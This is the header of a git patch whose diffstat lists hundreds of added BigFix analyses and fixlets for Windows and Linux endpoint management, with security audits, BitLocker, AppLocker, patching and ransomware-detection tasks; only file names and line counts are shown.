From 22ac3b616f292c4bc5adb9aa825e48a983cf18ca Mon Sep 17 00:00:00 2001
From: Test <test@example.com>
Date: Thu, 17 Sep 2026 16:30:49 -0500
Subject: [PATCH 1/2] windows and linux management import

---
 .../Apache Commons Text Scan Analysis.bes     |   34 +
 .../Fixlets/Analyses/ESET Installed (76).bes  |   33 +
 ...nux package info - RPM & DEB (2998050).bes |   27 +
 .../Analyses/SSH Public Keys (2998546).bes    |   24 +
 .../Fixlets/Analyses/Shellshock (2994719).bes |   25 +
 ... Available and Installed Packages (95).bes |   26 +
 ... - Security Center - Windows (2996952).bes |   27 +
 ...dobe Update Server - Windows (2994671).bes |   34 +
 ...te Server Settings - Windows (2994676).bes |   34 +
 ... Shortcuts, RunKey - Windows (2994785).bes |   33 +
 .../Apache Commons Text Scan Analysis.bes     |   34 +
 .../Audit Policy - Windows (2998298).bes      |   46 +
 ...toAdminLogon audit - Windows (2994788).bes |   28 +
 .../BitLockerEncryptionStatus (96).bes        |   26 +
 .../Bitlocker - Audit - Windows (2998433).bes |   35 +
 ...er - Compatibility - Windows (2998299).bes |   23 +
 ...r - Key Protectors - Windows (2998300).bes |   25 +
 .../Bitlocker - Logs - Windows (2998437).bes  |   23 +
 ... Recovery Password - Windows (2998160).bes |   25 +
 .../Bitlocker - TPM Status (2998637).bes      |   28 +
 .../Bitlocker - TPM Status (2998646).bes      |   28 +
 .../Bitlocker Info - Windows (2994754).bes    |   42 +
 .../Boot Up Analysis - Windows (2994790).bes  |   30 +
 .../Certificate Audit - Windows (2994825).bes |   27 +
 .../Certificates - Windows (2998390).bes      |   36 +
 .../ChkDsk Audit - Windows (2994739).bes      |   40 +
 .../Chocolatey Audit - Windows (2994810).bes  |   36 +
 ...lient Clock Audit - Kerberos (2994647).bes |   32 +
 ...osoft Product Keys - Windows (2994759).bes |   28 +
 ...Cached Login Creds - Windows (2998301).bes |   25 +
 ...Current Memory Configuration (2995862).bes |   25 +
 ...Current Memory Configuration (2998506).bes |   26 +
 .../DNS Cache - Windows (2995861).bes         |   26 +
 ...eviceQuery Results - Windows (2994799).bes |   31 +
 .../Fixlets/Analyses/Devices (50).bes         |   27 +
 .../Analyses/Devices - Windows (2994709).bes  |   50 +
 .../Distinguished Name of User (2998580).bes  |   24 +
 .../Driver Audit - Windows (2994712).bes      |   28 +
 .../Analyses/Drivers - Windows (2998242).bes  |   22 +
 ...ET - Configuration - Windows (2998302).bes |   32 +
 .../EMET - Logs - Windows (2998438).bes       |   23 +
 .../Event Log - Windows (2998243).bes         |   25 +
 ...onfiguration Audit - Windows (2994783).bes |   27 +
 ...ll - Configuration - Windows (2998518).bes |   31 +
 .../Group Policy - Windows (2998487).bes      |   44 +
 .../Analyses/Groups - Windows (2998456).bes   |   39 +
 .../Hard Drive Audit - Windows (2994706).bes  |   44 +
 .../Analyses/Hardware - Windows (2998512).bes |   37 +
 .../Hyper-V Guest - Windows (2998484).bes     |   25 +
 .../Hyper-V Host - Windows (2998252).bes      |   23 +
 ... Upgrade Failure Information (2998651).bes |   26 +
 .../Analyses/Inactive Users (2994557).bes     |   24 +
 .../Intel vPro Audit - Windows (2995830).bes  |   25 +
 .../Internet Explorer - Windows (2998393).bes |   21 +
 ...orer Configuration - Windows (2994779).bes |   27 +
 .../Fixlets/Analyses/Is Docked (74).bes       |   21 +
 .../KB5022842 on Win 2022 (2998680).bes       |   33 +
 ...ptop Battery Audit - Windows (2994755).bes |   51 +
 ...l Admin_User Audit - Windows (2994547).bes |   28 +
 .../Local Client Administrators (78).bes      |   25 +
 .../Lockout Events from DC (2998671).bes      |   26 +
 ...sers with local admin rights (2998581).bes |   26 +
 ...7-010 verify (WannaCry &co.) (2998568).bes |   27 +
 ...s 7 _ Windows Server 2008 R2 (2998556).bes |   31 +
 ...dows 8 _ Windows Server 2012 (2998557).bes |   31 +
 ...8.1 _ Windows Server 2012 R2 (2998558).bes |   31 +
 ... Vista _ Windows Server 2008 (2998560).bes |   31 +
 .../Fixlets/Analyses/MSSQL (2994632).bes      |   44 +
 ...Deployment Toolkit - Windows (2998513).bes |   30 +
 .../Microsoft IIS - Windows (2998511).bes     |   27 +
 ... Information - KMS - Windows (2994711).bes |   34 +
 ...ce Settings - Extended - RDP (2994595).bes |   43 +
 .../Microsoft SQL - Windows (2998470).bes     |   30 +
 ...ts for Available Windows Features (12).bes |   27 +
 .../Analyses/Network - Windows (2998477).bes  |   32 +
 .../Network Info - Windows (2994562).bes      |   28 +
 .../Operating System - Windows (2998541).bes  |   31 +
 ...rmation (Windows) - Expanded (2994800).bes |   70 +
 ...(Windows) - metric inspector (2994628).bes |   42 +
 .../Analyses/PageFile - Windows (2994592).bes |   29 +
 .../Analyses/Pagefile - Win_Mac (2998262).bes |   22 +
 .../Analyses/Pagefile - Windows (2998263).bes |   23 +
 .../Pending Restart - Windows (2998394).bes   |   26 +
 ...er - Configuration - Windows (2998419).bes |   29 +
 ...lan Settings - Windows  TODO (2994762).bes |   27 +
 .../Analyses/PowerShell x64 Status (19).bes   |   31 +
 .../Analyses/PowerShell x86 Status (20).bes   |   30 +
 ...erShell x86 Status - Windows (2994540).bes |   43 +
 .../Primary User - Windows (2995831).bes      |   31 +
 .../Printer Audit - Windows (2994742).bes     |   43 +
 .../Analyses/Printers - Windows (2998542).bes |   23 +
 ...perties (Windows) - Extended (2994574).bes |   32 +
 ...eal-time Downtime Validation (2998602).bes |   34 +
 ...ce - Configuration - Windows (2998523).bes |   31 +
 ...tance - Event Logs - Windows (2998524).bes |   25 +
 ...nce - Session Logs - Windows (2998525).bes |   43 +
 .../Remote Assistance - Windows (2998526).bes |   25 +
 ...top - Session Logs - Windows (2998527).bes |   22 +
 ...estart information - Windows (2998686).bes |   31 +
 .../Analyses/SCCM - Windows (2998488).bes     |   32 +
 .../Analyses/SNMP - Windows (2998459).bes     |   25 +
 .../Analyses/SNMP Configuration (2994764).bes |   26 +
 ...tion and Licensing - Windows (2994757).bes |   34 +
 ...sage Analysis Info - Windows (2994536).bes |   46 +
 .../Scheduled Tasks - Windows (2998472).bes   |   28 +
 .../Analyses/Service Error (2994723).bes      |   24 +
 .../Service Monitor - Windows (2998502).bes   |   33 +
 .../Analyses/Services - Windows (2998543).bes |   27 +
 .../Analyses/Services info (2994720).bes      |   29 +
 .../Analyses/Shares - Windows (2998467).bes   |   30 +
 ...ogon or GPO issues - Windows (2994789).bes |   39 +
 .../Stability - Windows (2998544).bes         |   30 +
 .../Stability Audit - Windows (2994781).bes   |   39 +
 .../System File Checker results (2994541).bes |   30 +
 ... Security Analysis - Windows (2998604).bes |   62 +
 ...ship Authorization - Windows (2998307).bes |   21 +
 .../Analyses/TPM - Windows (2998504).bes      |   25 +
 .../Analyses/TSM Backup Audit - Windows.bes   |   55 +
 ...ders, Logs, etc... - Windows (2994784).bes |   27 +
 ...ary Administrators - Windows (2998399).bes |   25 +
 ... - Missing Patches - Windows (2998276).bes |   22 +
 ...ow Boot Slow Logon - Windows (2998474).bes |   23 +
 .../Analyses/UEFI - Windows (2998369).bes     |   23 +
 .../Analyses/Uninstall Analysis (54).bes      |   25 +
 .../Analyses/Users - Windows (2998571).bes    |   33 +
 .../VMWare Guest - Windows (2998379).bes      |   24 +
 .../Analyses/VPN - Windows (2998351).bes      |   32 +
 ...and Monitor _ OMCI & others) (2994763).bes |   85 +
 ...ion Based Security - Windows (2998545).bes |   31 +
 ... Antimalware Audit - Windows (2994634).bes |   40 +
 .../Analyses/WMI - Windows (2998282).bes      |   26 +
 ...er - Configuration - Windows (2998309).bes |   39 +
 ...- Applocker - Logs - Windows (2998440).bes |   26 +
 ...isting - Applocker - Windows (2998311).bes |   23 +
 ...rade Eligibility Information (2998656).bes |   60 +
 ...dmin Users Compliance Status (2998597).bes |   80 +
 ...Results - WinVista and later (2994570).bes |   45 +
 .../Windows License Information (2998636).bes |   54 +
 ...indows Power Scheme Settings (2994768).bes |   34 +
 ... Information - KMS - Windows (2998367).bes |   32 +
 ...s System Volume Size & Usage (2994588).bes |   29 +
 .../Windows Update & WSUS Audit (69).bes      |   27 +
 ...ors while Installing Updates (2998673).bes |   24 +
 ...date check results - Windows (2998507).bes |   30 +
 .../Windows Updates - Windows (2998397).bes   |   26 +
 .../Analyses/Windows Upgrades (2998608).bes   |   25 +
 ...wsUpdate.log Audit - Windows (2995914).bes |   26 +
 .../Analyses/dotNET Framework (2994589).bes   |   32 +
 ...rcfg energy report - Windows (2994793).bes |   26 +
 ...rtcut for all users on Windows (25073).bes |   83 +
 ...ith KMS - set server - Windows (22632).bes |   60 +
 ...ws with KMS over VPN - Windows (22633).bes |   68 +
 ...arch List if missing - Windows (26706).bes |   48 +
 ...r to Remote Desktop Users Group (3794).bes |   61 +
 ...r to Local Administrators Group (3624).bes |   33 +
 ...specific domain - www.domain.tld (715).bes |   38 +
 ... Commons Text detection scan (Windows).bes |   95 +
 ...plocker Configuration Template (25578).bes |  106 +
 .../BCDedit Hypervisor Command (24885).bes    |   52 +
 ...BigSpeak Audio Health Dashboard (6218).bes |  153 +
 ...board Scheduled Task Setup v1.0 (6217).bes |  150 +
 ...Tweet Scheduled Task Setup v2.1 (6113).bes |   95 +
 .../Fixlets/Fixlets/BigTweet v2.1 (6112).bes  |   92 +
 ...17 - MS Office Issues - Windows (9143).bes |   75 +
 ...k Regsvr32 in Windows Firewall (20257).bes |   58 +
 ...ound_ Disable ActiveX Download (26876).bes |   61 +
 ...ound_ Disable ActiveX Download (26877).bes |   61 +
 ...nvironment variables (Windows) (26898).bes |   67 +
 ...dministrator Password - Windows (9150).bes |   46 +
 ... Page if unchanged from default (3802).bes |   37 +
 ...ge local user account password (27377).bes |  104 +
 ...user account password - Windows (3670).bes |   69 +
 ...ord with verification - Windows (6076).bes |   90 +
 ...ay run out of hard drive space (11930).bes |   57 +
 ...system may run out of hard drive space.bes |   57 +
 .../Close Magnify.exe - Windows (24573).bes   |   39 +
 ...ce - Automatic Start - Windows (20699).bes |   42 +
 ...ment Max Size - 20mb - Windows (20591).bes |   40 +
 ...tion Max Size - 20mb - Windows (20592).bes |   40 +
 ..._DLL Max Size - 20mb - Windows (20593).bes |   40 +
 ...ript Max Size - 20mb - Windows (20594).bes |   40 +
 ... AppX,EXE,MSI,Script - Windows (20595).bes |   65 +
 ... AppX,EXE,MSI,Script - Windows (20596).bes |   65 +
 ... run All Executables - Windows (20616).bes |   63 +
 ...s to run All Scripts - Windows (20617).bes |   63 +
 ...ules - Allow Default - Windows (20599).bes |  132 +
 ...un Cached Installers - Windows (20619).bes |   63 +
 ...nstalled Executables - Windows (20620).bes |   67 +
 ...un Installed Scripts - Windows (20621).bes |   69 +
 ...e to run Signed AppX - Windows (20622).bes |   64 +
 ...n Signed Executables - Windows (20623).bes |   66 +
 ...un Signed Installers - Windows (20624).bes |   65 +
 ... - Reset Local Rules - Windows (20625).bes |   53 +
 ...n - Add User Account - Windows (23677).bes |   81 +
 ... Autologon - Disable - Windows (23678).bes |   40 +
 ...r Method - Audit All - Windows (20703).bes |   66 +
 ...Method - Enforce All - Windows (20704).bes |   66 +
 ... run All Executables - Windows (20705).bes |   63 +
 ...s to run All Scripts - Windows (20706).bes |   63 +
 ...ts in their Profiles - Windows (20714).bes |   55 +
 ...un Cached Installers - Windows (20707).bes |   63 +
 ...nstalled Executables - Windows (20746).bes |   67 +
 ...un Installed Scripts - Windows (20709).bes |   69 +
 ...pts in Program Files - Windows (20738).bes |   58 +
 ...irectory except Temp - Windows (20739).bes |   58 +
 ...files except AppData - Windows (20740).bes |   58 +
 ...e to run Signed AppX - Windows (20710).bes |   64 +
 ...n Signed Executables - Windows (20711).bes |   66 +
 ...un Signed Installers - Windows (20712).bes |   65 +
 ...tial Guard - Disable - Windows (20652).bes |   61 +
 ...nable with UEFI Lock - Windows (20653).bes |   64 +
 ...le SMBv3 Compression - Windows (26668).bes |   44 +
 ... Pinning Mitigations - Windows (20801).bes |  410 ++
 ...t Mitigation Actions - Windows (20802).bes |   62 +
 ...lication Mitigations - Windows (20803).bes |  316 ++
 ...igations without EAF - Windows (20897).bes |  317 ++
 ...rd-Party Mitigations - Windows (21612).bes |  308 ++
 ...igations without EAF - Windows (20898).bes |  308 ++
 ...- Add 127.0.0.1 FQDN - Windows (23379).bes |   52 +
 ...emove 127.0.0.1 FQDN - Windows (23380).bes |   51 +
 ...e - Reset to Default - Windows (23381).bes |   70 +
 ...V Platform - Disable - Windows (20654).bes |   38 +
 ...-V Platform - Enable - Windows (20655).bes |   39 +
 ... User Mode - Disable - Windows (20656).bes |   38 +
 ...d User Mode - Enable - Windows (20657).bes |   38 +
 ...Desktop - Enable RDP - Windows (23555).bes |   40 +
 ...cy - Set to Balanced - Windows (20557).bes |   37 +
 ... to High Performance - Windows (20559).bes |   37 +
 ...- Set to Power Saver - Windows (20561).bes |   37 +
 ...to Presentation Mode - Windows (24032).bes |   34 +
 ...osoft Search Indexer - Windows (22915).bes |   40 +
 ... Delay to 10 Minutes - Windows (23032).bes |   36 +
 ... Delay to 15 Minutes - Windows (23033).bes |   36 +
 ...t Delay to 5 Minutes - Windows (23034).bes |   36 +
 ...ntial Guard - Enable - Windows (23808).bes |   44 +
 ...et to KMS Activation - Windows (23579).bes |   50 +
 ... on Synchronize with NTP server (2587).bes |   39 +
 ...dard User to use Windows Update (2583).bes |   42 +
 ...res - Windows 8 or later   TODO (6047).bes |   60 +
 ...g Features - Windows 8 or later (6067).bes |   61 +
 ... port ForceFifoEnable - Windows (3864).bes |   47 +
 ... port ForceFifoEnable - Windows (6044).bes |   47 +
 ...able Kerberos Logging - Windows (3782).bes |   38 +
 ...FS Last Access Update - Windows (6041).bes |   42 +
 ...ettings - Windows -TODO_Testing (3865).bes |   54 +
 ...rm Tags Utility 4.006 - Windows (3928).bes |  116 +
 ...rm Tags Utility 4.006 - Windows (3927).bes |  110 +
 ...press Balloon Pop-Ups - Windows (3781).bes |   44 +
 ...igure Cascading Admin Tools Menu (100).bes |   44 +
 ...figure Cascading Admin Tools Menu (85).bes |   44 +
 ...nfigure Computer as _Always On_ (2570).bes |   44 +
 ... ago (Windows Vista and Higher) (6035).bes |   59 +
 .../Configure Execution Policy (632).bes      |   42 +
 .../Configure Execution Policy (74).bes       |   42 +
 ...ist for Currently Logged On User (647).bes |   55 +
 ...Registered Organization and Owner (86).bes |   80 +
 ...igure TCP_ MaxUserPort to 60000 (3938).bes |   38 +
 .../Configure TCP_ MaxUserPort to 60000.bes   |   38 +
 ...TcpTimedWaitDelay to 30 seconds (3937).bes |   38 +
 ... Firewall_ Allow Remote Desktop (3974).bes |   42 +
 ...Windows Firewall_ Allow Remote Desktop.bes |   42 +
 ... Desktop Shortcut (PowerShell) (25589).bes |   73 +
 ...rtcut in User Profile if missing (720).bes |   51 +
 ...lias for DIR command - Windows (24046).bes |   50 +
 ...d_ Context Menu item - Windows (25531).bes |   39 +
 ...o clear relevance for KB3024777 (3979).bes |   49 +
 ...account to local administrators (3656).bes |   42 +
 ...ings using ActiveSetup (POODLE) (3914).bes |   73 +
 .../Fixlets/Fixlets/DISM Inventory (1420).bes |  146 +
 ... if one exists over 2GB in size (1415).bes |   38 +
 ..._NETWORK WiFi Profile - Windows (6171).bes |   40 +
 ...from systems with low free space (721).bes |   39 +
 ...hortcuts containing _uninstall_ (3657).bes |   40 +
 ...ment Framework - 4.0 - Windows (23565).bes |   46 +
 ...osoft Office 2011 Update 14.3.5 (2531).bes |   47 +
 ...osoft Office 2011 Update 14.3.6 (2539).bes |   47 +
 .../Designate ALWAYS On Profile (2611).bes    |   74 +
 .../Fixlets/Device Control (24645).bes        |   38 +
 .../Disable Administrator Account (99).bes    |   45 +
 .../Fixlets/Disable AutoAdminLogon (740).bes  |   40 +
 ...tes for Currently Logged On User (646).bes |   48 +
 .../Fixlets/Disable Microsoft CEIP (3899).bes |   54 +
 .../Fixlets/Disable Named Pipes (108).bes     |   42 +
 .../Fixlets/Disable Named Pipes (642).bes     |   42 +
 ...rk Adaptors (Requires Restart) (27372).bes |   36 +
 .../Disable Remote Desktop (RDP) (659).bes    |   48 +
 ...dows 8 and Windows Server 2012 (24318).bes |   56 +
 ...ows Vista, Windows Server 2008 (24314).bes |   38 +
 ...isable SMBv1 Service - Windows (23443).bes |   43 +
 ...ows 8, and Windows Server 2012 (24316).bes |   41 +
 ...le Skype Auto-update - Improved (3662).bes |   52 +
 ...Disable Skype start with windows (727).bes |   38 +
 ...R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes |   67 +
 .../Fixlets/Fixlets/Disable UAC (1376).bes    |   43 +
 .../Fixlets/Fixlets/Disable UAC (26610).bes   |   47 +
 ...8 and Mac OS 10.4_10.5_10.6_10.7 (310).bes |   57 +
 .../Disable Windows Update (26611).bes        |   35 +
 .../Fixlets/Disable inactive users (2549).bes |   40 +
 .../Fixlets/Disable inactive users (3873).bes |   40 +
 ...artition & Create M_ Partition (25433).bes |   78 +
 .../Enable Administrator Account (615).bes    |   45 +
 ...tes for Currently Logged On User (645).bes |   48 +
 ...buntu BASH) - Windows Features (20682).bes |   58 +
 .../Fixlets/Enable Named Pipes (107).bes      |   42 +
 .../Fixlets/Enable Named Pipes (641).bes      |   42 +
 ... .NET 2 & 3 - Windows Features (22635).bes |   53 +
 .../Fixlets/Enable Remote Desktop (3872).bes  |   37 +
 .../Enable Remote Desktop (RDP) (2458).bes    |   50 +
 ...dows 8 and Windows Server 2012 (24319).bes |   56 +
 ...ows Vista, Windows Server 2008 (24315).bes |   38 +
 ...ows 8, and Windows Server 2012 (24317).bes |   41 +
 ...R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24651).bes |   68 +
 .../Enable TRIM on Win7 for SSDs (1385).bes   |   38 +
 .../Fixlets/Fixlets/Enable UAC (1377).bes     |   43 +
 .../Enable Windows Automatic Updates (97).bes |   58 +
 ...pport - Unsupported Windows OS (25452).bes |   45 +
 ...Enforce Admin Users Compliance (25547).bes |  159 +
 ...nd Ransomware Files on C Drive (24331).bes |   35 +
 ...nd Ransomware Files on D Drive (24332).bes |   35 +
 ...nd Ransomware Files on E Drive (24333).bes |   35 +
 ...nd Ransomware Files on F Drive (24334).bes |   35 +
 ...nd Ransomware Files on G Drive (24336).bes |   35 +
 ...nd Ransomware Files on H Drive (24337).bes |   35 +
 ...nd Ransomware Files on I Drive (24338).bes |   35 +
 ...nd Ransomware Files on J Drive (24339).bes |   35 +
 ...nd Ransomware Files on K Drive (24340).bes |   35 +
 ...nd Ransomware Files on L Drive (24341).bes |   35 +
 ...nd Ransomware Files on M Drive (24342).bes |   35 +
 ...nd Ransomware Files on N Drive (24343).bes |   35 +
 ...nd Ransomware Files on O Drive (24344).bes |   35 +
 ...nd Ransomware Files on P Drive (24345).bes |   35 +
 ...nd Ransomware Files on X Drive (24346).bes |   35 +
 ...nd Ransomware Files on Y Drive (24347).bes |   35 +
 ...shortcut missing from Start Menu (741).bes |   51 +
 .../Fix Unquoted Registry Paths (24886).bes   |   40 +
 .../Fixlets/Fixlets/Fix WMI Errors (3652).bes |   91 +
 ...and SSL 3.0 in Internet Explorer (652).bes |   36 +
 ...P Update for Computer and Reboot (651).bes |   36 +
 ... info to Registry (Policy) 1.1 (22387).bes |  166 +
 ...owerCFG Energy Report - Windows (6040).bes |   67 +
 .../Fixlets/Get AD Description (3755).bes     |   86 +
 .../Fixlets/Get AD Location (3756).bes        |   86 +
 ...12 R2, and Windows Server 2016 (24321).bes |   57 +
 ...12 R2, and Windows Server 2016 (24323).bes |   57 +
 ...12 R2, and Windows Server 2016 (24320).bes |   57 +
 ...12 R2, and Windows Server 2016 (24322).bes |   57 +
 ...ithout Elevation (Interactive) (26940).bes |  136 +
 ...ithout Elevation (Interactive) (26941).bes |  136 +
 ...NET Framework 2.0 Service Pack 2 (106).bes |   55 +
 ...all Microsoft .NET Framework 3.5 (104).bes |   58 +
 ...tall Microsoft .NET Framework 4 (3626).bes |   82 +
 ... new wifi certificate - Windows (6247).bes |   42 +
 ...pdate 1     TODO_ Add Relevance (6061).bes |   51 +
 ...stic Tool v2 Update 1 - Windows (6063).bes |   55 +
 ...Remote Desktop Users - Windows (22607).bes |   42 +
 ...orary Administrators - Windows (24153).bes |  808 ++++
 ...er to Administrators - Windows (24405).bes |   41 +
 ...strators Temporarily - Windows (21369).bes |  101 +
 ...uthorized Requestors - Windows (24154).bes |  186 +
 ...Remote Desktop Users - Windows (24406).bes |   41 +
 ...orary Administrators - Windows (24155).bes |  807 ++++
 ... to Authorized Files - Windows (21897).bes |   84 +
 ...uthorized Requestors - Windows (24156).bes |  187 +
 ...ze Application Usage - Windows (21122).bes |  152 +
 ... Blocks and Warnings - Windows (21336).bes |  250 +
 ... Configuration Probe - Windows (20701).bes |   78 +
 ...ypt Secondary Volume - Windows (21696).bes |  255 +
 ...ncrypt System Volume - Windows (23093).bes |  156 +
 ... to Active Directory - Windows (23097).bes |   75 +
 ...overy Password Probe - Windows (21335).bes |  118 +
 ...tem Drive Encryption - Windows (24097).bes |   56 +
 ...tem Drive Encryption - Windows (24111).bes |   54 +
 ...tem Drive Encryption - Windows (24112).bes |   53 +
 ...tificate Store Probe - Windows (24040).bes |  107 +
 ...s older than 14 days - Windows (24041).bes |   49 +
 ...s older than 30 days - Windows (24042).bes |   49 +
 ...s older than 60 days - Windows (24043).bes |   49 +
 ...ng Physical Presence - Windows (24044).bes |   54 +
 ... Owner Authorization - Windows (24113).bes |   57 +
 ... Owner Authorization - Windows (24114).bes |   57 +
 ...ched Applocker Rules - Windows (20716).bes |  116 +
 ...orary Administrators - Windows (24157).bes |  820 ++++
 ...orary Administrators - Windows (24158).bes |  815 ++++
 ... and Optimize Drives - Windows (23382).bes |   36 +
 ...pplication Usage Log - Windows (21052).bes |   35 +
 ...pplication Usage Log - Windows (21059).bes |   36 +
 ...nvoke - Disk Cleanup - Windows (21628).bes |  107 +
 ...Group Policy Refresh - Windows (22887).bes |   51 +
 ...ive Directory Domain - Windows (23387).bes |   99 +
 ... Kernel Kext Cache Reset - Mac (20530).bes |   39 +
 ...T Convert MBR to GPT - Windows (23810).bes |   79 +
 ... Validate MBR to GPT - Windows (23811).bes |   80 +
 ...wer Efficiency Probe - Windows (21716).bes |   48 +
 ...wer Efficiency Probe - Windows (21726).bes |   48 +
 ...sted Platform Module - Windows (23094).bes |  241 +
 ... from Administrators - Windows (24407).bes |   39 +
 ...uthorized Requestors - Windows (24159).bes |  185 +
 ...Remote Desktop Users - Windows (24408).bes |   41 +
 ...orary Administrators - Windows (24160).bes |  185 +
 ...uthorized Requestors - Windows (24161).bes |  184 +
 ...orary Administrators - Windows (24162).bes |  184 +
 ...t Local Group Policy - Windows (22647).bes |   51 +
 ... - Sync Client Clock - Windows (24110).bes |   37 +
 ...WMI Repository Reset - Windows (22648).bes |   57 +
 ...ed Credentials Probe - Windows (20768).bes |  422 ++
 ...pdate Troubleshooter - Windows (21363).bes |   54 +
 ...Join Computer to domain - wmic (26947).bes |   88 +
 ... x64) and Windows Server 2008r2 (2592).bes |   96 +
 ...sable RTF processing in MS Word (3741).bes |  101 +
 ...dpoint Manager version 8.1.634.0 (153).bes |   88 +
 ...urity Platform version 8.1.634.0 (129).bes |   80 +
 ...o 80 MB via Local Group Policy (26933).bes |  110 +
 .../List Offline Files (PowerShell) (644).bes |   96 +
 .../Fixlets/Lock Screen - Windows (23995).bes |   40 +
 ...Lock computer multiple options (26856).bes |   66 +
 .../Locky malware detection (9275).bes        |   41 +
 ...nection Server Names - Windows (23554).bes |   51 +
 ...d files on the C_ drive - v1.1 (24312).bes |   44 +
 ...t Logon - Disable Debug Logging (1410).bes |   50 +
 ...et Logon - Enable Debug Logging (1409).bes |   52 +
 .../Fixlets/Nuke IPv6 - Windows (27385).bes   |   40 +
 ...lias for DIR command - Windows (20414).bes |   49 +
 .../Fixlets/Outlook Profile Reset (24867).bes |   47 +
 ...ers using Driverquery - Windows (6060).bes |   42 +
 ...ndows Update Results - Windows (23123).bes |  103 +
 ... Sleep Timeout - Windows Vista_7 (312).bes |   51 +
 ...set defaults to 35min - testing (1419).bes |   68 +
 ...date.log - Windows NOT WORKING (10608).bes |   50 +
 ...Pin Calc to Windows 7 Start Menu (677).bes |   79 +
 .../Pin Calc to Windows 7 Taskbar (678).bes   |   79 +
 ...r Printnightmare vulnerability (26861).bes |   48 +
 ...older Rights (Prompt for Path) (26609).bes |  129 +
 ...shell Computer Rename (Prompt) (26604).bes |   55 +
 .../Registry.pol Corruption Fix (27373).bes   |   45 +
 ...r Printnightmare vulnerability (26862).bes |   66 +
 ...and 3 and updates with msiexec (26634).bes |  108 +
 ...y - those not created by wizard (2528).bes |   39 +
 .../Fixlets/Remove XPS Viewer (648).bes       |   93 +
 ...ast Man Standing_ Power Scheme (21436).bes |   63 +
 ...and deactivate Windows license (25208).bes |   41 +
 ...rom local Administrators group (24889).bes |   36 +
 .../Rename Windows Computer (1393).bes        |   55 +
 .../Fixlets/Fixlets/Repair WMI (676).bes      |   77 +
 ...ce IP in hosts file on Windows (26953).bes |   43 +
 ...Certificate - Enable Workaround (6286).bes |  112 +
 ...Roll Back_ MS11-021 (KB2501584) (1412).bes |   46 +
 ... Internet Explorer to version 9 (3706).bes |   35 +
 ...al Kerberos problem - Windows7+ (3783).bes |   58 +
 .../Rollback Patch Task_ KB971033 (26600).bes |   46 +
 .../Run a Full Disk Cleanup (6133).bes        |  170 +
 ...ell Script - Windows - TEMPLATE (3860).bes |   58 +
 ...icrosoft product keys - Windows (3941).bes |   49 +
 ...dows Account Lockout_ 15_10_10 (27000).bes |   56 +
 ...t Profile Picture - Windows 10 (25579).bes |   54 +
 ...solution to Maximum Resolution (27420).bes |  471 ++
 ...t Name to Sharing Name V2 - Mac (3649).bes |   59 +
 ... NOT depend on SMBv1 - Windows (23441).bes |   42 +
 .../Fixlets/Set MTU to 1400 (2456).bes        |   34 +
 ...tzautoupdate to Auto - Windows (24613).bes |   46 +
 ... to DelayedAutoStart - Windows (24612).bes |   44 +
 ...autoupdate to demand - Windows (24611).bes |   44 +
 ...toupdate to disabled - Windows (24610).bes |   44 +
 .../Fixlets/Set Timezone - Windows (2613).bes |  365 ++
 ...de Analytics Preview - Windows (21118).bes |   96 +
 ... Update KB917607 - WinHlp32.exe (1364).bes |   48 +
 ...art and Enable Windows Service (26632).bes |   45 +
 ...Start the DCOM Launcher Service (9282).bes |   36 +
 ...the RPC EndPoint Mapper Service (9283).bes |   36 +
 ...e Remote Procedure Call Service (9284).bes |   36 +
 ...art the Remote Registry Service (9286).bes |   36 +
 ...agement Instrumentation Service (9285).bes |   36 +
 ... disable Print Spooler service (26914).bes |   47 +
 .../System Restore Off _ Disable (20643).bes  |  247 +
 .../TASK_ Change System Time (773).bes        |   37 +
 ...ile Checker tool - SFC _scannow (6038).bes |   59 +
 ...napshot Service - VSS - Backups (6043).bes |   36 +
 ...Win10_2016) (TEST!!!) (export) (25565).bes |  196 +
 .../Take Screenshot - Windows (21898).bes     |  368 ++
 ...are Spooler Disable mitigation (26860).bes |   44 +
 .../Track Primary User v2.8 (2533).bes        |   47 +
 ...nding Updates, and DISM Repair (27344).bes |  379 ++
 ...ver 2016 _ Windows Server 2019 (26631).bes |   86 +
 ...gers (Trigger Start) - Windows (24614).bes |   47 +
 ...et-Explorer 11 (Windows 64BIT) (26938).bes |   83 +
 ...ain on Windows Computer - wmic (26948).bes |   37 +
 ...Unmount PST Files from Outlook (26642).bes |  134 +
 ...1.247.1082.0 - 64bit - Windows (24602).bes |   48 +
 ...ndows Experience Index - WinSAT (6045).bes |   46 +
 .../Fixlets/Upload DISM.txt (1049).bes        |   52 +
 ...le Memory Leak in ITM OS Client (4013).bes |   77 +
 ...le Memory Leak in ITM OS Client (4014).bes |   49 +
 .../Fixlets/WUAUSERV Enable (21611).bes       |   34 +
 ...ity service may not be running (22654).bes |   40 +
 ... AppIDSvc is stopped - Windows (22655).bes |   36 +
 ...orcement Mode is Set - Windows (20664).bes |   27 +
 ...enterprise versions of Windows (20223).bes |   28 +
 ...vent log size may be too small (20583).bes |   31 +
 ...on Unencrypted Drive - Windows (20584).bes |   31 +
 ...oo large to compress - Windows (23431).bes |   56 +
 ...e Injection may not be allowed (23558).bes |   31 +
 ...lder of System Drive - Windows (21631).bes |   47 +
 ...lder of System Drive - Windows (21632).bes |   48 +
 ...lder of System Drive - Windows (21633).bes |   48 +
 ...lder of System Drive - Windows (21634).bes |   48 +
 ...Root of System Drive - Windows (21635).bes |   50 +
 ...gging may be enabled - Windows (21636).bes |   29 +
 ...acing may be enabled - Windows (21637).bes |   29 +
 ...gging may be enabled - Windows (21638).bes |   28 +
 ...nually defined hosts - Win_Mac (20536).bes |   27 +
 ...use Installer errors - Windows (21687).bes |  124 +
 ...ty SA 00075 Exposure - Windows (24269).bes |   29 +
 ...stalled but may not be running (20225).bes |   29 +
 ...stalled but may not be running (20226).bes |   29 +
 ...stalled Side-by-Side - Windows (23734).bes |   42 +
 ...stalled Side-by-Side - Windows (23735).bes |   42 +
 ...stalled Side-by-Side - Windows (23818).bes | 4134 ++++++++++++++++
 ...lled but not running - Windows (22649).bes |   39 +
 ...efault configuration - Windows (20537).bes |   27 +
 ... to High Performance - Windows (21429).bes |   27 +
 ...ssistance may not be installed (23559).bes |   39 +
 ...municated in 30 Days - Windows (21744).bes |   28 +
 ...-Protect is Disabled - Windows (21745).bes |   28 +
 ...e exceptions defined - Windows (21746).bes |   29 +
 ...ital signature state - Windows (20538).bes |   29 +
 ...f cached credentials - Windows (20631).bes |   28 +
 ... Assistance may not be allowed (23560).bes |   39 +
 ...nents can be removed - Windows (23819).bes |   43 +
 ...nents can be removed - Windows (23820).bes |   41 +
